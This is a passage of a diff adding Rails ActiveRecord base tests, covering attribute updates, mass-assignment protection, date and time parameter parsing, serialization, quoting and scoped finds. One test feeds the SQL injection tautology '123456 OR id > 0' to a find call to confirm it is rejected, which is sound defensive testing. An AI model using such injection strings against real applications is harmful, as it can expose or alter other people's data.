+    assert_equal "The First Topic Updated", topic.title
+
+    topic.update_attributes(:approved => false, :title => "The First Topic")
+    topic.reload
+    assert !topic.approved?
+    assert_equal "The First Topic", topic.title
+  end
+
+  def test_update_attributes!
+    reply = Reply.find(2)
+    assert_equal "The Second Topic of the day", reply.title
+    assert_equal "Have a nice day", reply.content
+
+    reply.update_attributes!("title" => "The Second Topic of the day updated", "content" => "Have a nice evening")
+    reply.reload
+    assert_equal "The Second Topic of the day updated", reply.title
+    assert_equal "Have a nice evening", reply.content
+
+    reply.update_attributes!(:title => "The Second Topic of the day", :content => "Have a nice day")
+    reply.reload
+    assert_equal "The Second Topic of the day", reply.title
+    assert_equal "Have a nice day", reply.content
+
+    assert_raise(ActiveRecord::RecordInvalid) { reply.update_attributes!(:title => nil, :content => "Have a nice evening") }
+  end
+
+  def test_mass_assignment_should_raise_exception_if_accessible_and_protected_attribute_writers_are_both_used
+    topic = TopicWithProtectedContentAndAccessibleAuthorName.new
+    assert_raises(RuntimeError) { topic.attributes = { "author_name" => "me" } }
+    assert_raises(RuntimeError) { topic.attributes = { "content" => "stuff" } }
+  end
+
+  def test_mass_assignment_protection
+    firm = Firm.new
+    firm.attributes = { "name" => "Next Angle", "rating" => 5 }
+    assert_equal 1, firm.rating
+  end
+
+  def test_mass_assignment_protection_against_class_attribute_writers
+    [:logger, :configurations, :primary_key_prefix_type, :table_name_prefix, :table_name_suffix, :pluralize_table_names, :colorize_logging,
+      :default_timezone, :schema_format, :lock_optimistically, :record_timestamps].each do |method|
+      assert  Task.respond_to?(method)
+      assert  Task.respond_to?("#{method}=")
+      assert  Task.new.respond_to?(method)
+      assert !Task.new.respond_to?("#{method}=")
+    end
+  end
+
+  def test_customized_primary_key_remains_protected
+    subscriber = Subscriber.new(:nick => 'webster123', :name => 'nice try')
+    assert_nil subscriber.id
+
+    keyboard = Keyboard.new(:key_number => 9, :name => 'nice try')
+    assert_nil keyboard.id
+  end
+
+  def test_customized_primary_key_remains_protected_when_referred_to_as_id
+    subscriber = Subscriber.new(:id => 'webster123', :name => 'nice try')
+    assert_nil subscriber.id
+
+    keyboard = Keyboard.new(:id => 9, :name => 'nice try')
+    assert_nil keyboard.id
+  end
+
+  def test_mass_assigning_invalid_attribute
+    firm = Firm.new
+
+    assert_raises(ActiveRecord::UnknownAttributeError) do
+      firm.attributes = { "id" => 5, "type" => "Client", "i_dont_even_exist" => 20 }
+    end
+  end
+
+  def test_mass_assignment_protection_on_defaults
+    firm = Firm.new
+    firm.attributes = { "id" => 5, "type" => "Client" }
+    assert_nil firm.id
+    assert_equal "Firm", firm[:type]
+  end
+
+  def test_mass_assignment_accessible
+    reply = Reply.new("title" => "hello", "content" => "world", "approved" => true)
+    reply.save
+
+    assert reply.approved?
+
+    reply.approved = false
+    reply.save
+
+    assert !reply.approved?
+  end
+
+  def test_mass_assignment_protection_inheritance
+    assert_nil LoosePerson.accessible_attributes
+    assert_equal Set.new([ 'credit_rating', 'administrator' ]), LoosePerson.protected_attributes
+
+    assert_nil LooseDescendant.accessible_attributes
+    assert_equal Set.new([ 'credit_rating', 'administrator', 'phone_number' ]), LooseDescendant.protected_attributes
+
+    assert_nil LooseDescendantSecond.accessible_attributes
+    assert_equal Set.new([ 'credit_rating', 'administrator', 'phone_number', 'name' ]), LooseDescendantSecond.protected_attributes, 'Running attr_protected twice in one class should merge the protections'
+
+    assert_nil TightPerson.protected_attributes
+    assert_equal Set.new([ 'name', 'address' ]), TightPerson.accessible_attributes
+
+    assert_nil TightDescendant.protected_attributes
+    assert_equal Set.new([ 'name', 'address', 'phone_number' ]), TightDescendant.accessible_attributes
+  end
+
+  def test_readonly_attributes
+    assert_equal Set.new([ 'title' , 'comments_count' ]), ReadonlyTitlePost.readonly_attributes
+
+    post = ReadonlyTitlePost.create(:title => "cannot change this", :body => "changeable")
+    post.reload
+    assert_equal "cannot change this", post.title
+
+    post.update_attributes(:title => "try to change", :body => "changed")
+    post.reload
+    assert_equal "cannot change this", post.title
+    assert_equal "changed", post.body
+  end
+
+  def test_multiparameter_attributes_on_date
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "24" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(2004, 6, 24), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_empty_date
+    attributes = { "last_read(1i)" => "2004", "last_read(2i)" => "6", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # note that extra #to_date call allows test to pass for Oracle, which
+    # treats dates/times the same
+    assert_date_from_db Date.new(2004, 6, 1), topic.last_read.to_date
+  end
+
+  def test_multiparameter_attributes_on_date_with_all_empty
+    attributes = { "last_read(1i)" => "", "last_read(2i)" => "", "last_read(3i)" => "" }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_nil topic.last_read
+  end
+
+  def test_multiparameter_attributes_on_time
+    attributes = {
+      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+  end
+
+  def test_multiparameter_attributes_on_time_with_old_date
+    attributes = {
+      "written_on(1i)" => "1850", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    # testing against to_s(:db) representation because either a Time or a DateTime might be returned, depending on platform
+    assert_equal "1850-06-24 16:24:00", topic.written_on.to_s(:db)
+  end
+
+  def test_multiparameter_attributes_on_time_with_utc
+    ActiveRecord::Base.default_timezone = :utc
+    attributes = {
+      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+  ensure
+    ActiveRecord::Base.default_timezone = :local
+  end
+
+  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes
+    ActiveRecord::Base.time_zone_aware_attributes = true
+    ActiveRecord::Base.default_timezone = :utc
+    Time.zone = ActiveSupport::TimeZone[-28800]
+    attributes = {
+      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.utc(2004, 6, 24, 23, 24, 0), topic.written_on
+    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on.time
+    assert_equal Time.zone, topic.written_on.time_zone
+  ensure
+    ActiveRecord::Base.time_zone_aware_attributes = false
+    ActiveRecord::Base.default_timezone = :local
+    Time.zone = nil
+  end
+
+  def test_multiparameter_attributes_on_time_with_time_zone_aware_attributes_false
+    ActiveRecord::Base.time_zone_aware_attributes = false
+    Time.zone = ActiveSupport::TimeZone[-28800]
+    attributes = {
+      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+    assert_equal false, topic.written_on.respond_to?(:time_zone)
+  ensure
+    Time.zone = nil
+  end
+
+  def test_multiparameter_attributes_on_time_with_skip_time_zone_conversion_for_attributes
+    ActiveRecord::Base.time_zone_aware_attributes = true
+    ActiveRecord::Base.default_timezone = :utc
+    Time.zone = ActiveSupport::TimeZone[-28800]
+    Topic.skip_time_zone_conversion_for_attributes = [:written_on]
+    attributes = {
+      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => "00"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.utc(2004, 6, 24, 16, 24, 0), topic.written_on
+    assert_equal false, topic.written_on.respond_to?(:time_zone)
+  ensure
+    ActiveRecord::Base.time_zone_aware_attributes = false
+    ActiveRecord::Base.default_timezone = :local
+    Time.zone = nil
+    Topic.skip_time_zone_conversion_for_attributes = []
+  end
+  
+  def test_multiparameter_attributes_on_time_only_column_with_time_zone_aware_attributes_does_not_do_time_zone_conversion
+    ActiveRecord::Base.time_zone_aware_attributes = true
+    ActiveRecord::Base.default_timezone = :utc
+    Time.zone = ActiveSupport::TimeZone[-28800]
+    attributes = {
+      "bonus_time(1i)" => "2000", "bonus_time(2i)" => "1", "bonus_time(3i)" => "1",
+      "bonus_time(4i)" => "16", "bonus_time(5i)" => "24"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.utc(2000, 1, 1, 16, 24, 0), topic.bonus_time
+    assert topic.bonus_time.utc?
+  ensure
+    ActiveRecord::Base.time_zone_aware_attributes = false
+    ActiveRecord::Base.default_timezone = :local
+    Time.zone = nil
+  end
+
+  def test_multiparameter_attributes_on_time_with_empty_seconds
+    attributes = {
+      "written_on(1i)" => "2004", "written_on(2i)" => "6", "written_on(3i)" => "24",
+      "written_on(4i)" => "16", "written_on(5i)" => "24", "written_on(6i)" => ""
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.local(2004, 6, 24, 16, 24, 0), topic.written_on
+  end
+
+  def test_multiparameter_mass_assignment_protector
+    task = Task.new
+    time = Time.mktime(2000, 1, 1, 1)
+    task.starting = time
+    attributes = { "starting(1i)" => "2004", "starting(2i)" => "6", "starting(3i)" => "24" }
+    task.attributes = attributes
+    assert_equal time, task.starting
+  end
+
+  def test_multiparameter_assignment_of_aggregation
+    customer = Customer.new
+    address = Address.new("The Street", "The City", "The Country")
+    attributes = { "address(1)" => address.street, "address(2)" => address.city, "address(3)" => address.country }
+    customer.attributes = attributes
+    assert_equal address, customer.address
+  end
+
+  def test_attributes_on_dummy_time
+    # Oracle, and Sybase do not have a TIME datatype.
+    return true if current_adapter?(:OracleAdapter, :SybaseAdapter)
+
+    attributes = {
+      "bonus_time" => "5:42:00AM"
+    }
+    topic = Topic.find(1)
+    topic.attributes = attributes
+    assert_equal Time.local(2000, 1, 1, 5, 42, 0), topic.bonus_time
+  end
+
+  def test_boolean
+    b_nil = Booleantest.create({ "value" => nil })
+    nil_id = b_nil.id
+    b_false = Booleantest.create({ "value" => false })
+    false_id = b_false.id
+    b_true = Booleantest.create({ "value" => true })
+    true_id = b_true.id
+
+    b_nil = Booleantest.find(nil_id)
+    assert_nil b_nil.value
+    b_false = Booleantest.find(false_id)
+    assert !b_false.value?
+    b_true = Booleantest.find(true_id)
+    assert b_true.value?
+  end
+
+  def test_boolean_cast_from_string
+    b_blank = Booleantest.create({ "value" => "" })
+    blank_id = b_blank.id
+    b_false = Booleantest.create({ "value" => "0" })
+    false_id = b_false.id
+    b_true = Booleantest.create({ "value" => "1" })
+    true_id = b_true.id
+
+    b_blank = Booleantest.find(blank_id)
+    assert_nil b_blank.value
+    b_false = Booleantest.find(false_id)
+    assert !b_false.value?
+    b_true = Booleantest.find(true_id)
+    assert b_true.value?
+  end
+
+  def test_clone
+    topic = Topic.find(1)
+    cloned_topic = nil
+    assert_nothing_raised { cloned_topic = topic.clone }
+    assert_equal topic.title, cloned_topic.title
+    assert cloned_topic.new_record?
+
+    # test if the attributes have been cloned
+    topic.title = "a"
+    cloned_topic.title = "b"
+    assert_equal "a", topic.title
+    assert_equal "b", cloned_topic.title
+
+    # test if the attribute values have been cloned
+    topic.title = {"a" => "b"}
+    cloned_topic = topic.clone
+    cloned_topic.title["a"] = "c"
+    assert_equal "b", topic.title["a"]
+
+    #test if attributes set as part of after_initialize are cloned correctly
+    assert_equal topic.author_email_address, cloned_topic.author_email_address
+
+    # test if saved clone object differs from original
+    cloned_topic.save
+    assert !cloned_topic.new_record?
+    assert cloned_topic.id != topic.id
+  end
+
+  def test_clone_with_aggregate_of_same_name_as_attribute
+    dev = DeveloperWithAggregate.find(1)
+    assert_kind_of DeveloperSalary, dev.salary
+
+    clone = nil
+    assert_nothing_raised { clone = dev.clone }
+    assert_kind_of DeveloperSalary, clone.salary
+    assert_equal dev.salary.amount, clone.salary.amount
+    assert clone.new_record?
+
+    # test if the attributes have been cloned
+    original_amount = clone.salary.amount
+    dev.salary.amount = 1
+    assert_equal original_amount, clone.salary.amount
+
+    assert clone.save
+    assert !clone.new_record?
+    assert clone.id != dev.id
+  end
+
+  def test_clone_preserves_subtype
+    clone = nil
+    assert_nothing_raised { clone = Company.find(3).clone }
+    assert_kind_of Client, clone
+  end
+
+  def test_bignum
+    company = Company.find(1)
+    company.rating = 2147483647
+    company.save
+    company = Company.find(1)
+    assert_equal 2147483647, company.rating
+  end
+
+  # TODO: extend defaults tests to other databases!
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_default
+      default = Default.new
+
+      # fixed dates / times
+      assert_equal Date.new(2004, 1, 1), default.fixed_date
+      assert_equal Time.local(2004, 1,1,0,0,0,0), default.fixed_time
+
+      # char types
+      assert_equal 'Y', default.char1
+      assert_equal 'a varchar field', default.char2
+      assert_equal 'a text field', default.char3
+    end
+
+    class Geometric < ActiveRecord::Base; end
+    def test_geometric_content
+
+      # accepted format notes:
+      # ()'s aren't required
+      # values can be a mix of float or integer
+
+      g = Geometric.new(
+        :a_point        => '(5.0, 6.1)',
+        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
+        :a_line_segment => '(2.0, 3), (5.5, 7.0)',
+        :a_box          => '2.0, 3, 5.5, 7.0',
+        :a_path         => '[(2.0, 3), (5.5, 7.0), (8.5, 11.0)]',  # [ ] is an open path
+        :a_polygon      => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',
+        :a_circle       => '<(5.3, 10.4), 2>'
+      )
+
+      assert g.save
+
+      # Reload and check that we have all the geometric attributes.
+      h = Geometric.find(g.id)
+
+      assert_equal '(5,6.1)', h.a_point
+      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
+      assert_equal '[(2,3),(5.5,7),(8.5,11)]', h.a_path
+      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+      assert_equal '<(5.3,10.4),2>', h.a_circle
+
+      # use a geometric function to test for an open path
+      objs = Geometric.find_by_sql ["select isopen(a_path) from geometrics where id = ?", g.id]
+      assert_equal objs[0].isopen, 't'
+
+      # test alternate formats when defining the geometric types
+
+      g = Geometric.new(
+        :a_point        => '5.0, 6.1',
+        #:a_line         => '((2.0, 3), (5.5, 7.0))' # line type is currently unsupported in postgresql
+        :a_line_segment => '((2.0, 3), (5.5, 7.0))',
+        :a_box          => '(2.0, 3), (5.5, 7.0)',
+        :a_path         => '((2.0, 3), (5.5, 7.0), (8.5, 11.0))',  # ( ) is a closed path
+        :a_polygon      => '2.0, 3, 5.5, 7.0, 8.5, 11.0',
+        :a_circle       => '((5.3, 10.4), 2)'
+      )
+
+      assert g.save
+
+      # Reload and check that we have all the geometric attributes.
+      h = Geometric.find(g.id)
+
+      assert_equal '(5,6.1)', h.a_point
+      assert_equal '[(2,3),(5.5,7)]', h.a_line_segment
+      assert_equal '(5.5,7),(2,3)', h.a_box   # reordered to store upper right corner then bottom left corner
+      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_path
+      assert_equal '((2,3),(5.5,7),(8.5,11))', h.a_polygon
+      assert_equal '<(5.3,10.4),2>', h.a_circle
+
+      # use a geometric function to test for an closed path
+      objs = Geometric.find_by_sql ["select isclosed(a_path) from geometrics where id = ?", g.id]
+      assert_equal objs[0].isclosed, 't'
+    end
+  end
+
+  class NumericData < ActiveRecord::Base
+    self.table_name = 'numeric_data'
+  end
+
+  def test_numeric_fields
+    m = NumericData.new(
+      :bank_balance => 1586.43,
+      :big_bank_balance => BigDecimal("1000234000567.95"),
+      :world_population => 6000000000,
+      :my_house_population => 3
+    )
+    assert m.save
+
+    m1 = NumericData.find(m.id)
+    assert_not_nil m1
+
+    # As with migration_test.rb, we should make world_population >= 2**62
+    # to cover 64-bit platforms and test it is a Bignum, but the main thing
+    # is that it's an Integer.
+    assert_kind_of Integer, m1.world_population
+    assert_equal 6000000000, m1.world_population
+
+    assert_kind_of Fixnum, m1.my_house_population
+    assert_equal 3, m1.my_house_population
+
+    assert_kind_of BigDecimal, m1.bank_balance
+    assert_equal BigDecimal("1586.43"), m1.bank_balance
+
+    assert_kind_of BigDecimal, m1.big_bank_balance
+    assert_equal BigDecimal("1000234000567.95"), m1.big_bank_balance
+  end
+
+  def test_auto_id
+    auto = AutoId.new
+    auto.save
+    assert (auto.id > 0)
+  end
+
+  def quote_column_name(name)
+    "<#{name}>"
+  end
+
+  def test_quote_keys
+    ar = AutoId.new
+    source = {"foo" => "bar", "baz" => "quux"}
+    actual = ar.send(:quote_columns, self, source)
+    inverted = actual.invert
+    assert_equal("<foo>", inverted["bar"])
+    assert_equal("<baz>", inverted["quux"])
+  end
+
+  def test_sql_injection_via_find
+    assert_raises(ActiveRecord::RecordNotFound, ActiveRecord::StatementInvalid) do
+      Topic.find("123456 OR id > 0")
+    end
+  end
+
+  def test_column_name_properly_quoted
+    col_record = ColumnName.new
+    col_record.references = 40
+    assert col_record.save
+    col_record.references = 41
+    assert col_record.save
+    assert_not_nil c2 = ColumnName.find(col_record.id)
+    assert_equal(41, c2.references)
+  end
+
+  def test_quoting_arrays
+    replies = Reply.find(:all, :conditions => [ "id IN (?)", topics(:first).replies.collect(&:id) ])
+    assert_equal topics(:first).replies.size, replies.size
+
+    replies = Reply.find(:all, :conditions => [ "id IN (?)", [] ])
+    assert_equal 0, replies.size
+  end
+
+  MyObject = Struct.new :attribute1, :attribute2
+
+  def test_serialized_attribute
+    myobj = MyObject.new('value1', 'value2')
+    topic = Topic.create("content" => myobj)
+    Topic.serialize("content", MyObject)
+    assert_equal(myobj, topic.content)
+  end
+
+  def test_serialized_time_attribute
+    myobj = Time.local(2008,1,1,1,0)
+    topic = Topic.create("content" => myobj).reload
+    assert_equal(myobj, topic.content)
+  end
+  
+  def test_serialized_string_attribute
+    myobj = "Yes"
+    topic = Topic.create("content" => myobj).reload
+    assert_equal(myobj, topic.content)
+  end
+
+  def test_nil_serialized_attribute_with_class_constraint
+    myobj = MyObject.new('value1', 'value2')
+    topic = Topic.new
+    assert_nil topic.content
+  end
+
+  def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
+    myobj = MyObject.new('value1', 'value2')
+    topic = Topic.new(:content => myobj)
+    assert topic.save
+    Topic.serialize(:content, Hash)
+    assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).content }
+  ensure
+    Topic.serialize(:content)
+  end
+
+  def test_serialized_attribute_with_class_constraint
+    settings = { "color" => "blue" }
+    Topic.serialize(:content, Hash)
+    topic = Topic.new(:content => settings)
+    assert topic.save
+    assert_equal(settings, Topic.find(topic.id).content)
+  ensure
+    Topic.serialize(:content)
+  end
+
+  def test_quote
+    author_name = "\\ \001 ' \n \\n \""
+    topic = Topic.create('author_name' => author_name)
+    assert_equal author_name, Topic.find(topic.id).author_name
+  end
+
+  if RUBY_VERSION < '1.9'
+    def test_quote_chars
+      with_kcode('UTF8') do
+        str = 'The Narrator'
+        topic = Topic.create(:author_name => str)
+        assert_equal str, topic.author_name
+
+        assert_kind_of ActiveSupport::Multibyte.proxy_class, str.mb_chars
+        topic = Topic.find_by_author_name(str.mb_chars)
+
+        assert_kind_of Topic, topic
+        assert_equal str, topic.author_name, "The right topic should have been found by name even with name passed as Chars"
+      end
+    end
+  end
+
+  def test_class_level_destroy
+    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_be_destroyed_reply
+
+    Topic.destroy(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
+    assert_raise(ActiveRecord::RecordNotFound) { Reply.find(should_be_destroyed_reply.id) }
+  end
+
+  def test_class_level_delete
+    should_be_destroyed_reply = Reply.create("title" => "hello", "content" => "world")
+    Topic.find(1).replies << should_be_destroyed_reply
+
+    Topic.delete(1)
+    assert_raise(ActiveRecord::RecordNotFound) { Topic.find(1) }
+    assert_nothing_raised { Reply.find(should_be_destroyed_reply.id) }
+  end
+
+  def test_increment_attribute
+    assert_equal 50, accounts(:signals37).credit_limit
+    accounts(:signals37).increment! :credit_limit
+    assert_equal 51, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).increment(:credit_limit).increment!(:credit_limit)
+    assert_equal 53, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_increment_nil_attribute
+    assert_nil topics(:first).parent_id
+    topics(:first).increment! :parent_id
+    assert_equal 1, topics(:first).parent_id
+  end
+
+  def test_increment_attribute_by
+    assert_equal 50, accounts(:signals37).credit_limit
+    accounts(:signals37).increment! :credit_limit, 5
+    assert_equal 55, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).increment(:credit_limit, 1).increment!(:credit_limit, 3)
+    assert_equal 59, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_decrement_attribute
+    assert_equal 50, accounts(:signals37).credit_limit
+
+    accounts(:signals37).decrement!(:credit_limit)
+    assert_equal 49, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).decrement(:credit_limit).decrement!(:credit_limit)
+    assert_equal 47, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_decrement_attribute_by
+    assert_equal 50, accounts(:signals37).credit_limit
+    accounts(:signals37).decrement! :credit_limit, 5
+    assert_equal 45, accounts(:signals37, :reload).credit_limit
+
+    accounts(:signals37).decrement(:credit_limit, 1).decrement!(:credit_limit, 3)
+    assert_equal 41, accounts(:signals37, :reload).credit_limit
+  end
+
+  def test_toggle_attribute
+    assert !topics(:first).approved?
+    topics(:first).toggle!(:approved)
+    assert topics(:first).approved?
+    topic = topics(:first)
+    topic.toggle(:approved)
+    assert !topic.approved?
+    topic.reload
+    assert topic.approved?
+  end
+
+  def test_reload
+    t1 = Topic.find(1)
+    t2 = Topic.find(1)
+    t1.title = "something else"
+    t1.save
+    t2.reload
+    assert_equal t1.title, t2.title
+  end
+
+  def test_define_attr_method_with_value
+    k = Class.new( ActiveRecord::Base )
+    k.send(:define_attr_method, :table_name, "foo")
+    assert_equal "foo", k.table_name
+  end
+
+  def test_define_attr_method_with_block
+    k = Class.new( ActiveRecord::Base )
+    k.send(:define_attr_method, :primary_key) { "sys_" + original_primary_key }
+    assert_equal "sys_id", k.primary_key
+  end
+
+  def test_set_table_name_with_value
+    k = Class.new( ActiveRecord::Base )
+    k.table_name = "foo"
+    assert_equal "foo", k.table_name
+    k.set_table_name "bar"
+    assert_equal "bar", k.table_name
+  end
+
+  def test_set_table_name_with_block
+    k = Class.new( ActiveRecord::Base )
+    k.set_table_name { "ks" }
+    assert_equal "ks", k.table_name
+  end
+
+  def test_set_primary_key_with_value
+    k = Class.new( ActiveRecord::Base )
+    k.primary_key = "foo"
+    assert_equal "foo", k.primary_key
+    k.set_primary_key "bar"
+    assert_equal "bar", k.primary_key
+  end
+
+  def test_set_primary_key_with_block
+    k = Class.new( ActiveRecord::Base )
+    k.set_primary_key { "sys_" + original_primary_key }
+    assert_equal "sys_id", k.primary_key
+  end
+
+  def test_set_inheritance_column_with_value
+    k = Class.new( ActiveRecord::Base )
+    k.inheritance_column = "foo"
+    assert_equal "foo", k.inheritance_column
+    k.set_inheritance_column "bar"
+    assert_equal "bar", k.inheritance_column
+  end
+
+  def test_set_inheritance_column_with_block
+    k = Class.new( ActiveRecord::Base )
+    k.set_inheritance_column { original_inheritance_column + "_id" }
+    assert_equal "type_id", k.inheritance_column
+  end
+
+  def test_count_with_join
+    res = Post.count_by_sql "SELECT COUNT(*) FROM posts LEFT JOIN comments ON posts.id=comments.post_id WHERE posts.#{QUOTED_TYPE} = 'Post'"
+
+    res2 = Post.count(:conditions => "posts.#{QUOTED_TYPE} = 'Post'", :joins => "LEFT JOIN comments ON posts.id=comments.post_id")
+    assert_equal res, res2
+
+    res3 = nil
+    assert_nothing_raised do
+      res3 = Post.count(:conditions => "posts.#{QUOTED_TYPE} = 'Post'",
+                        :joins => "LEFT JOIN comments ON posts.id=comments.post_id")
+    end
+    assert_equal res, res3
+
+    res4 = Post.count_by_sql "SELECT COUNT(p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
+    res5 = nil
+    assert_nothing_raised do
+      res5 = Post.count(:conditions => "p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id",
+                        :joins => "p, comments co",
+                        :select => "p.id")
+    end
+
+    assert_equal res4, res5
+
+    unless current_adapter?(:SQLite2Adapter, :DeprecatedSQLiteAdapter)
+      res6 = Post.count_by_sql "SELECT COUNT(DISTINCT p.id) FROM posts p, comments co WHERE p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id"
+      res7 = nil
+      assert_nothing_raised do
+        res7 = Post.count(:conditions => "p.#{QUOTED_TYPE} = 'Post' AND p.id=co.post_id",
+                          :joins => "p, comments co",
+                          :select => "p.id",
+                          :distinct => true)
+      end
+      assert_equal res6, res7
+    end
+  end
+
+  def test_clear_association_cache_stored
+    firm = Firm.find(1)
+    assert_kind_of Firm, firm
+
+    firm.clear_association_cache
+    assert_equal Firm.find(1).clients.collect{ |x| x.name }.sort, firm.clients.collect{ |x| x.name }.sort
+  end
+
+  def test_clear_association_cache_new_record
+     firm            = Firm.new
+     client_stored   = Client.find(3)
+     client_new      = Client.new
+     client_new.name = "The Joneses"
+     clients         = [ client_stored, client_new ]
+
+     firm.clients    << clients
+     assert_equal clients.map(&:name).to_set, firm.clients.map(&:name).to_set
+
+     firm.clear_association_cache
+     assert_equal clients.map(&:name).to_set, firm.clients.map(&:name).to_set
+  end
+
+  def test_interpolate_sql
+    assert_nothing_raised { Category.new.send(:interpolate_sql, 'foo at bar') }
+    assert_nothing_raised { Category.new.send(:interpolate_sql, 'foo bar) baz') }
+    assert_nothing_raised { Category.new.send(:interpolate_sql, 'foo bar} baz') }
+  end
+
+  def test_scoped_find_conditions
+    scoped_developers = Developer.with_scope(:find => { :conditions => 'salary > 90000' }) do
+      Developer.find(:all, :conditions => 'id < 5')
+    end
+    assert !scoped_developers.include?(developers(:david)) # David's salary is less than 90,000
+    assert_equal 3, scoped_developers.size
+  end
+
+  def test_scoped_find_limit_offset
+    scoped_developers = Developer.with_scope(:find => { :limit => 3, :offset => 2 }) do
+      Developer.find(:all, :order => 'id')
+    end
+    assert !scoped_developers.include?(developers(:david))
+    assert !scoped_developers.include?(developers(:jamis))
+    assert_equal 3, scoped_developers.size
+
+    # Test without scoped find conditions to ensure we get the whole thing
+    developers = Developer.find(:all, :order => 'id')
+    assert_equal Developer.count, developers.size
+  end
+
+  def test_scoped_find_order
+    # Test order in scope
+    scoped_developers = Developer.with_scope(:find => { :limit => 1, :order => 'salary DESC' }) do
+      Developer.find(:all)
+    end
+    assert_equal 'Jamis', scoped_developers.first.name
+    assert scoped_developers.include?(developers(:jamis))
+    # Test scope without order and order in find
+    scoped_developers = Developer.with_scope(:find => { :limit => 1 }) do
+      Developer.find(:all, :order => 'salary DESC')
+    end
+    # Test scope order + find order, find has priority
+    scoped_developers = Developer.with_scope(:find => { :limit => 3, :order => 'id DESC' }) do
+      Developer.find(:all, :order => 'salary ASC')
+    end
+    assert scoped_developers.include?(developers(:poor_jamis))
+    assert scoped_developers.include?(developers(:david))
+    assert scoped_developers.include?(developers(:dev_10))
+    # Test without scoped find conditions to ensure we get the right thing
+    developers = Developer.find(:all, :order => 'id', :limit => 1)
+    assert scoped_developers.include?(developers(:david))
+  end
+
+  def test_scoped_find_limit_offset_including_has_many_association
+    topics = Topic.with_scope(:find => {:limit => 1, :offset => 1, :include => :replies}) do
+      Topic.find(:all, :order => "topics.id")
+    end
+    assert_equal 1, topics.size
+    assert_equal 2, topics.first.id
+  end
+
+  def test_scoped_find_order_including_has_many_association
+    developers = Developer.with_scope(:find => { :order => 'developers.salary DESC', :include => :projects }) do
+      Developer.find(:all)
+    end
+    assert developers.size >= 2
+    for i in 1...developers.size
+      assert developers[i-1].salary >= developers[i].salary
+    end
+  end
+
+  def test_find_last
+    last  = Developer.find :last
+    assert_equal last, Developer.find(:first, :order => 'id desc')
+  end
+
+  def test_last
+    assert_equal Developer.find(:first, :order => 'id desc'), Developer.last
+  end
+
+  def test_all_with_conditions
+    assert_equal Developer.find(:all, :order => 'id desc'), Developer.all(:order => 'id desc')
+  end
+
+  def test_find_ordered_last
+    last  = Developer.find :last, :order => 'developers.salary ASC'
+    assert_equal last, Developer.find(:all, :order => 'developers.salary ASC').last
+  end
+
+  def test_find_reverse_ordered_last
+    last  = Developer.find :last, :order => 'developers.salary DESC'
+    assert_equal last, Developer.find(:all, :order => 'developers.salary DESC').last
+  end
+
+  def test_find_multiple_ordered_last
+    last  = Developer.find :last, :order => 'developers.name, developers.salary DESC'
+    assert_equal last, Developer.find(:all, :order => 'developers.name, developers.salary DESC').last
+  end
+
+  def test_find_scoped_ordered_last
+    last_developer = Developer.with_scope(:find => { :order => 'developers.salary ASC' }) do
+      Developer.find(:last)
+    end
+    assert_equal last_developer, Developer.find(:all, :order => 'developers.salary ASC').last
+  end
+
+  def test_abstract_class
+    assert !ActiveRecord::Base.abstract_class?
